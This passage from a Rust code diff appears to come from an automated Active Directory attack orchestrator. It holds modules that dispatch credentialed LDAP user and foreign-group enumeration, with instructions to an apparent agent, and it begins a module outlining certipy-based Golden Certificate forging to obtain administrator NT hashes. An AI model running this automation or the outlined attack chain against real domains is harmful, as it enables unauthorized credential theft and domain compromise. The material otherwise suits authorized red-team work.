#[test] + fn payload_structure_has_correct_technique() { + let payload = serde_json::json!({ + "technique": "dns_enumeration", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + }); + assert_eq!(payload["technique"], "dns_enumeration"); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["domain"], "contoso.local"); + } + + #[test] + fn payload_with_credential() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let mut payload = serde_json::json!({ + "technique": "dns_enumeration", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + }); + payload["credential"] = serde_json::json!({ + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }); + assert_eq!(payload["credential"]["username"], "admin"); + assert_eq!(payload["credential"]["domain"], "contoso.local"); + } + + #[test] + fn work_struct_construction() { + let work = DnsEnumWork { + dedup_key: "dns_enum:contoso.local".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + credential: None, + }; + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.dc_ip, "192.168.58.10"); + assert!(work.credential.is_none()); + } + + #[test] + fn work_struct_with_credential() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = DnsEnumWork { + dedup_key: "dns_enum:contoso.local".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + credential: Some(cred), + }; + assert!(work.credential.is_some()); + assert_eq!(work.credential.unwrap().username, "admin"); + } + + #[test] + fn dedup_key_domain_based() { + let domain1 = "contoso.local"; + let domain2 = "fabrikam.local"; + let key1 = format!("dns_enum:{}", domain1.to_lowercase()); + let key2 = format!("dns_enum:{}", domain2.to_lowercase()); + assert_ne!(key1, key2); + assert_eq!(key1, "dns_enum:contoso.local"); + assert_eq!(key2, "dns_enum:fabrikam.local"); + } + + #[test] + fn case_normalization_mixed() { + let key = format!("dns_enum:{}", "Contoso.Local".to_lowercase()); + assert_eq!(key, "dns_enum:contoso.local"); + } + + fn make_credential( + username: &str, + password: &str, + domain: &str, + ) -> ares_core::models::Credential { + ares_core::models::Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn collect_empty_state_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_dns_enum_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_single_domain_no_cred() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_dns_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert!(work[0].credential.is_none()); + } + + #[test] + fn collect_single_domain_with_cred() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_dns_enum_work(&state); + assert_eq!(work.len(), 1); + assert!(work[0].credential.is_some()); + assert_eq!(work[0].credential.as_ref().unwrap().username, "admin"); + } + + #[test] + fn collect_dedup_skips_processed() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state.mark_processed(DEDUP_DNS_ENUM, "dns_enum:contoso.local".into()); + let work = collect_dns_enum_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_multiple_domains() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + let work = collect_dns_enum_work(&state); + assert_eq!(work.len(), 2); + } + + #[test] + fn collect_skips_empty_password_cred() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "", "contoso.local")); + let work = collect_dns_enum_work(&state); + assert_eq!(work.len(), 1); + // Empty password cred should not be selected + assert!(work[0].credential.is_none()); + } + + #[test] + fn collect_cred_only_matches_same_domain() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "fabrikam.local")); // pragma: allowlist secret + let work = collect_dns_enum_work(&state); + assert_eq!(work.len(), 1); + // Cross-domain cred should NOT be selected (dns_enum only matches same domain) + assert!(work[0].credential.is_none()); + } + + #[test] + fn collect_dedup_key_lowercased() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("CONTOSO.LOCAL".into(), "192.168.58.10".into()); + let work = collect_dns_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "dns_enum:contoso.local"); + } + + #[tokio::test] + async fn collect_via_shared_state() { + let shared = SharedState::new("test-op".into()); + { + let mut state = shared.write().await; + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_dns_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert!(work[0].credential.is_some()); + } +} diff --git a/ares-cli/src/orchestrator/automation/domain_user_enum.rs b/ares-cli/src/orchestrator/automation/domain_user_enum.rs new file mode 100644 index 00000000..f85fe2dc --- /dev/null +++ b/ares-cli/src/orchestrator/automation/domain_user_enum.rs @@ -0,0 +1,436 @@ +//! auto_domain_user_enum -- explicit per-domain LDAP user enumeration. +//! +//! Unlike initial recon (which does broad DC scanning), this module dispatches +//! targeted LDAP user enumeration per domain using the best available credential. +//! This fills the gap where a trusted domain's users are not enumerated because +//! the initial recon agent only has primary-domain credentials. +//! +//! Dispatches `ldap_user_enumeration` to the recon role for each domain that +//! has a DC but hasn't been fully enumerated yet. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect user enumeration work items from current state. +/// +/// Pure logic extracted from `auto_domain_user_enum` so it can be unit-tested +/// without needing a `Dispatcher` or async runtime. +fn collect_user_enum_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for (domain, dc_ip) in &state.all_domains_with_dcs() { + let dedup_key = format!("user_enum:{}", domain.to_lowercase()); + if state.is_processed(DEDUP_DOMAIN_USER_ENUM, &dedup_key) { + continue; + } + + // Prefer a credential from the target domain. + // Fall back to any available credential (cross-domain LDAP may work). + let cred = match state + .credentials + .iter() + .find(|c| { + c.domain.to_lowercase() == domain.to_lowercase() + && !c.password.is_empty() + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + .or_else(|| { + state.credentials.iter().find(|c| { + !c.password.is_empty() + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + }) { + Some(c) => c.clone(), + None => continue, + }; + + items.push(UserEnumWork { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + credential: cred, + }); + } + + items +} + +/// Dispatches per-domain LDAP user enumeration. +/// Interval: 45s. +pub async fn auto_domain_user_enum( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("domain_user_enumeration") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_user_enum_work(&state) + }; + + for item in work { + let cross_domain = item.credential.domain.to_lowercase() != item.domain.to_lowercase(); + let mut payload = json!({ + "technique": "ldap_user_enumeration", + "target_ip": item.dc_ip, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + "filters": ["(objectCategory=person)(objectClass=user)"], + "attributes": ["sAMAccountName", "description", "memberOf", "userAccountControl", "servicePrincipalName"], + }); + if cross_domain { + payload["bind_domain"] = json!(item.credential.domain); + } + + let priority = dispatcher.effective_priority("domain_user_enumeration"); + match dispatcher + .throttled_submit("recon", "recon", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + cred_user = %item.credential.username, + "Domain user enumeration dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_DOMAIN_USER_ENUM, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_DOMAIN_USER_ENUM, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(domain = %item.domain, "Domain user enumeration deferred"); + } + Err(e) => { + warn!(err = %e, domain = %item.domain, "Failed to dispatch user enumeration"); + } + } + } + } +} + +struct UserEnumWork { + dedup_key: String, + domain: String, + dc_ip: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn dedup_key_format() { + let key = format!("user_enum:{}", "contoso.local"); + assert_eq!(key, "user_enum:contoso.local"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_DOMAIN_USER_ENUM, "domain_user_enum"); + } + + #[test] + fn payload_structure_has_correct_technique() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let payload = json!({ + "technique": "ldap_user_enumeration", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + "filters": ["(objectCategory=person)(objectClass=user)"], + "attributes": ["sAMAccountName", "description", "memberOf", "userAccountControl", "servicePrincipalName"], + }); + assert_eq!(payload["technique"], "ldap_user_enumeration"); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["domain"], "contoso.local"); + } + + #[test] + fn ldap_filter_format() { + let filters = ["(objectCategory=person)(objectClass=user)"]; + assert_eq!(filters.len(), 1); + assert!(filters[0].contains("objectCategory=person")); + assert!(filters[0].contains("objectClass=user")); + } + + #[test] + fn ldap_attributes_list() { + let attrs = [ + "sAMAccountName", + "description", + "memberOf", + "userAccountControl", + "servicePrincipalName", + ]; + assert_eq!(attrs.len(), 5); + assert!(attrs.contains(&"sAMAccountName")); + assert!(attrs.contains(&"servicePrincipalName")); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = UserEnumWork { + dedup_key: "user_enum:contoso.local".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + credential: cred, + }; + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.dc_ip, "192.168.58.10"); + assert_eq!(work.credential.username, "admin"); + } + + #[test] + fn dedup_key_normalizes_domain() { + let key = format!("user_enum:{}", "CONTOSO.LOCAL".to_lowercase()); + assert_eq!(key, "user_enum:contoso.local"); + } + + #[test] + fn credential_quarantine_check_logic() { + // Empty password should be skipped by the credential selection logic + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "".into(), + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + assert!(cred.password.is_empty()); + } + + #[test] + fn cross_domain_credential_fallback() { + // When no same-domain cred exists, any cred can be used (cross-domain LDAP) + let creds = [ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "fabrikam.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }]; + let target_domain = "contoso.local"; + let same_domain = creds.iter().find(|c| { + c.domain.to_lowercase() == target_domain.to_lowercase() && !c.password.is_empty() + }); + assert!(same_domain.is_none()); + let fallback = creds.iter().find(|c| !c.password.is_empty()); + assert!(fallback.is_some()); + assert_eq!(fallback.unwrap().domain, "fabrikam.local"); + } + + fn make_credential( + username: &str, + password: &str, + domain: &str, + ) -> ares_core::models::Credential { + ares_core::models::Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn collect_empty_state_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_user_enum_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_user_enum_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_single_domain_with_cred() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_user_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_dedup_skips_processed() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_DOMAIN_USER_ENUM, "user_enum:contoso.local".into()); + let work = collect_user_enum_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_cross_domain_fallback() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + // Only fabrikam cred available, should fall back + state + .credentials + .push(make_credential("crossuser", "P@ssw0rd!", "fabrikam.local")); // pragma: allowlist secret + let work = collect_user_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "crossuser"); + assert_eq!(work[0].credential.domain, "fabrikam.local"); + } + + #[test] + fn collect_skips_empty_password() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "", "contoso.local")); + let work = collect_user_enum_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_quarantined_credential_falls_back() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("baduser", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("gooduser", "Pass!456", "fabrikam.local")); // pragma: allowlist secret + state.quarantine_principal("baduser", "contoso.local"); + let work = collect_user_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "gooduser"); + } + + #[test] + fn collect_dedup_key_lowercased() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("CONTOSO.LOCAL".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_user_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "user_enum:contoso.local"); + } + + #[tokio::test] + async fn collect_via_shared_state() { + let shared = SharedState::new("test-op".into()); + { + let mut state = shared.write().await; + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_user_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + } +} diff --git a/ares-cli/src/orchestrator/automation/foreign_group_enum.rs b/ares-cli/src/orchestrator/automation/foreign_group_enum.rs new file mode 100644 index 00000000..b7ea367b --- /dev/null +++ b/ares-cli/src/orchestrator/automation/foreign_group_enum.rs @@ -0,0 +1,471 @@ +//! auto_foreign_group_enum -- enumerate cross-domain/cross-forest group memberships. +//! +//! Discovers foreign security principals (FSPs) — users/groups from one domain +//! that are members of groups in another domain. This reveals cross-forest and +//! cross-domain attack paths that BloodHound's intra-domain analysis might miss. +//! +//! Dispatches LDAP queries per trust relationship to find: +//! - Foreign users in local groups (e.g., FABRIKAM\jdoe in CONTOSO\TrustedAdmins) +//! - Foreign groups nested in local groups +//! - Domain Local groups with foreign members (the primary FSP container) + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect foreign group enumeration work items from current state. +/// +/// Pure logic extracted from `auto_foreign_group_enum` so it can be unit-tested +/// without needing a `Dispatcher` or async runtime. +fn collect_foreign_group_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() || state.domains.len() < 2 { + return Vec::new(); + } + + let mut items = Vec::new(); + + // For each domain, enumerate foreign security principals + for domain in &state.domains { + let dedup_key = format!("foreign_group:{domain}"); + if state.is_processed(DEDUP_FOREIGN_GROUP_ENUM, &dedup_key) { + continue; + } + + let dc_ip = match state.resolve_dc_ip(domain) { + Some(ip) => ip, + None => continue, + }; + + // Find a credential for this domain + let cred = state + .credentials + .iter() + .find(|c| { + !c.password.is_empty() + && c.domain.to_lowercase() == domain.to_lowercase() + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + .or_else(|| { + state.credentials.iter().find(|c| { + !c.password.is_empty() + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + }) + .cloned(); + + let cred = match cred { + Some(c) => c, + None => continue, + }; + + items.push(ForeignGroupWork { + dedup_key, + domain: domain.clone(), + dc_ip, + credential: cred, + }); + } + + items +} + +/// Enumerate cross-domain foreign group memberships. +/// Interval: 45s. +pub async fn auto_foreign_group_enum( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("foreign_group_enum") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_foreign_group_work(&state) + }; + + for item in work { + let payload = json!({ + "technique": "foreign_group_enumeration", + "target_ip": item.dc_ip, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + "filters": [ + "(objectClass=foreignSecurityPrincipal)", + "(&(objectCategory=group)(groupType:1.2.840.113556.1.4.803:=4))" + ], + "attributes": [ + "sAMAccountName", "member", "memberOf", "objectSid", + "groupType", "cn", "distinguishedName" + ], + "instructions": concat!( + "Enumerate Foreign Security Principals and cross-domain group memberships. ", + "1) Query CN=ForeignSecurityPrincipals,DC=... to list all foreign SIDs. ", + "2) Resolve each SID to its source domain user/group using ldapsearch against ", + "the source domain's DC. ", + "3) Query Domain Local groups (groupType bit 4) and check for foreign members. ", + "4) Report each cross-domain membership: source_domain\\source_user -> target_group ", + "(target_domain). These are critical for cross-forest attack paths. ", + "5) Register any discovered cross-domain memberships as vulnerabilities with ", + "vuln_type='foreign_group_membership', source=foreign_user, target=local_group, ", + "domain=target_domain, source_domain=foreign_domain.\n\n", + "IMPORTANT: For each user discovered during FSP enumeration, include them in the ", + "discovered_users array with EXACTLY this JSON format:\n", + " {\"username\": \"samaccountname\", \"domain\": \"domain.local\", ", + "\"source\": \"foreign_group_enumeration\", \"memberOf\": [\"Group1\"]}\n", + "Include ALL users found — both foreign principals and local group members." + ), + }); + + let priority = dispatcher.effective_priority("foreign_group_enum"); + match dispatcher + .throttled_submit("recon", "recon", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + "Foreign group enumeration dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_FOREIGN_GROUP_ENUM, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_FOREIGN_GROUP_ENUM, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(domain = %item.domain, "Foreign group enum deferred"); + } + Err(e) => { + warn!(err = %e, domain = %item.domain, "Failed to dispatch foreign group enum"); + } + } + } + } +} + +struct ForeignGroupWork { + dedup_key: String, + domain: String, + dc_ip: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn dedup_key_format() { + let key = format!("foreign_group:{}", "contoso.local"); + assert_eq!(key, "foreign_group:contoso.local"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_FOREIGN_GROUP_ENUM, "foreign_group_enum"); + } + + #[test] + fn requires_multiple_domains() { + let domains: Vec = vec!["contoso.local".to_string()]; + assert!( + domains.len() < 2, + "Single domain should skip foreign group enum" + ); + } + + #[test] + fn two_domains_meets_requirement() { + let domains: Vec = vec!["contoso.local".to_string(), "fabrikam.local".to_string()]; + assert!(domains.len() >= 2); + } + + #[test] + fn payload_structure_has_correct_technique() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let payload = json!({ + "technique": "foreign_group_enumeration", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + assert_eq!(payload["technique"], "foreign_group_enumeration"); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["domain"], "contoso.local"); + assert_eq!(payload["credential"]["username"], "admin"); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = ForeignGroupWork { + dedup_key: "foreign_group:contoso.local".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + credential: cred, + }; + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.dc_ip, "192.168.58.10"); + assert_eq!(work.credential.username, "admin"); + } + + #[test] + fn dedup_key_per_domain() { + let key1 = format!("foreign_group:{}", "contoso.local"); + let key2 = format!("foreign_group:{}", "fabrikam.local"); + assert_ne!(key1, key2); + } + + #[test] + fn foreign_security_principal_resolution() { + // The payload includes credential for cross-domain FSP resolution + let payload = json!({ + "technique": "foreign_group_enumeration", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "credential": { + "username": "admin", + "password": "P@ssw0rd!", + "domain": "contoso.local", + }, + }); + // FSP resolution happens via the credential against the target domain + assert!(payload.get("credential").is_some()); + assert_eq!(payload["technique"], "foreign_group_enumeration"); + } + + fn make_credential( + username: &str, + password: &str, + domain: &str, + ) -> ares_core::models::Credential { + ares_core::models::Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn collect_empty_state_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_foreign_group_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_single_domain_no_work() { + let mut state = StateInner::new("test-op".into()); + state.domains.push("contoso.local".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_foreign_group_work(&state); + // Requires at least 2 domains + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_no_work() { + let mut state = StateInner::new("test-op".into()); + state.domains.push("contoso.local".into()); + state.domains.push("fabrikam.local".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + let work = collect_foreign_group_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_two_domains_with_creds() { + let mut state = StateInner::new("test-op".into()); + state.domains.push("contoso.local".into()); + state.domains.push("fabrikam.local".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("fadmin", "Pass!456", "fabrikam.local")); // pragma: allowlist secret + let work = collect_foreign_group_work(&state); + assert_eq!(work.len(), 2); + } + + #[test] + fn collect_dedup_skips_processed() { + let mut state = StateInner::new("test-op".into()); + state.domains.push("contoso.local".into()); + state.domains.push("fabrikam.local".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed( + DEDUP_FOREIGN_GROUP_ENUM, + "foreign_group:contoso.local".into(), + ); + let work = collect_foreign_group_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "fabrikam.local"); + } + + #[test] + fn collect_skips_domain_without_dc() { + let mut state = StateInner::new("test-op".into()); + state.domains.push("contoso.local".into()); + state.domains.push("fabrikam.local".into()); + // Only contoso has a DC + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_foreign_group_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + } + + #[test] + fn collect_quarantined_credential_falls_back() { + let mut state = StateInner::new("test-op".into()); + state.domains.push("contoso.local".into()); + state.domains.push("fabrikam.local".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(make_credential("baduser", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("gooduser", "Pass!456", "fabrikam.local")); // pragma: allowlist secret + state.quarantine_principal("baduser", "contoso.local"); + let work = collect_foreign_group_work(&state); + // Both domains should still get work (gooduser fallback for contoso) + assert_eq!(work.len(), 2); + // contoso should fall back to gooduser + let contoso_work = work.iter().find(|w| w.domain == "contoso.local").unwrap(); + assert_eq!(contoso_work.credential.username, "gooduser"); + } + + #[test] + fn collect_skips_empty_password() { + let mut state = StateInner::new("test-op".into()); + state.domains.push("contoso.local".into()); + state.domains.push("fabrikam.local".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(make_credential("admin", "", "contoso.local")); + let work = collect_foreign_group_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_via_shared_state() { + let shared = SharedState::new("test-op".into()); + { + let mut state = shared.write().await; + state.domains.push("contoso.local".into()); + state.domains.push("fabrikam.local".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_foreign_group_work(&state); + assert_eq!(work.len(), 2); + } +} diff --git a/ares-cli/src/orchestrator/automation/golden_cert.rs b/ares-cli/src/orchestrator/automation/golden_cert.rs new file mode 100644 index 00000000..6629ef9a --- /dev/null +++ b/ares-cli/src/orchestrator/automation/golden_cert.rs @@ -0,0 +1,526 @@ +//! auto_golden_cert -- forge a Golden Certificate after owning an ADCS CA host. +//! +//! When a CA host is fully owned (local SYSTEM via lateral movement) and the +//! CA's domain is not yet dominated, drive the offline Golden Certificate +//! pipeline: +//! +//! 1. **Backup**: `certipy ca -backup` extracts the CA private key + cert +//! to a PFX (requires SYSTEM/local admin or CA admin rights — owning the +//! CA host satisfies this). +//! 2. **Forge**: `certipy forge -ca-pfx -upn administrator@` +//! produces a client-auth certificate signed by the CA, for any UPN. +//! No DC interaction is needed — purely offline. +//! 3. **Auth**: `certipy auth -pfx forged.pfx -dc-ip ` performs PKINIT +//! to obtain the target user's NT hash. +//! +//! This is the universal terminal for cross-forest compromise: every ADCS- +//! adjacent attack path (ESC1/ESC4/ESC8, MSSQL→xp_cmdshell→host, RBCD → +//! S4U → SYSTEM, shadow creds → admin → host) converges here once the CA +//! host is owned, regardless of which forest the CA lives in. +//! +//! Cross-forest note: the CA's *own* domain credential is what we need for +//! the `certipy ca -backup` RPC call. We pull it via `find_source_credential` +//! / `find_trust_credential` so a cred from the originating forest works +//! when there is no same-domain cred yet. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use 